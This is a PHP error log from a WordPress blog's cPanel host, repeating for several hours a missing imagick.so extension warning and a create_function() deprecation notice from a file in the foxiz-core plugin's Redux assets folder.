/home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:40:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:40:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:40:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:40:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:40:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:40:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:41:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:41:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:41:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:41:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:41:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:41:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:41:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:41:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 12:45:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 12:45:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 13:11:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 13:11:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 14:12:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 14:12:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 15:12:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 15:12:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 16:13:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 16:13:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 17:14:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 17:14:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:15:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:15:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:34:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:34:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:34:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:34:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:36:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:36:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:37:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:37:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:37:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:37:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:38:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:38:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:38:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:38:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:39:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:39:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:39:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:39:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:40:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:40:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:40:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:40:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:41:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:41:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:41:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:41:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:41:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:41:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:42:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:42:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:42:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:42:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:43:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:43:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:43:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:43:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:43:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:43:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:44:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:44:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:44:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:44:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:45:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:45:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:45:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:45:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:45:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:45:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:46:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:46:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:46:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:46:40 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:46:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:46:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:47:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:47:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:47:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:47:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:48:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:48:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:48:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:48:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:49:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:49:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [11-Jun-2023 18:49:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [11-Jun-2023 18:49:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php 